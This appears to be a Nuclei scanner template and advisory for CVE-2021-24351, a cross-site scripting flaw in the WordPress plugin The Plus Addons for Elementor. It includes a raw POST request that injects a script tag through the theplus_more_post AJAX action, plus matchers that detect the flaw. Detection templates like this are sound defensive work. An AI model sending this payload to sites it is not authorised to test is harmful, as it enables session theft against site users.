WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2021-24351
info:
name: WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting
author: Maximus Decimus
severity: medium
description: |
WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of WordPress The Plus Addons for Elementor plugin (4.1.12 or higher) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
- https://theplusaddons.com/changelog/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24351
- https://github.com/ARPSyndicate/cvemon
- https://github.com/JoshMorrison99/my-nuceli-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24351
cwe-id: CWE-79
epss-score: 0.54267
epss-percentile: 0.97945
cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: posimyth
product: the_plus_addons_for_elementor
framework: wordpress
tags: cve2021,cve,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,posimyth
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "the-plus-addons-for-elementor"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502201e534589931d1e55537376a280b95dba5bc62ab2719e28ba2239ced3bfe7a22f022100e95efc27ae266266b58c21e5618cb3fe6e5741c8b4afde8601416398f1328ca7:922c64590222798bb761d5b6d8e72950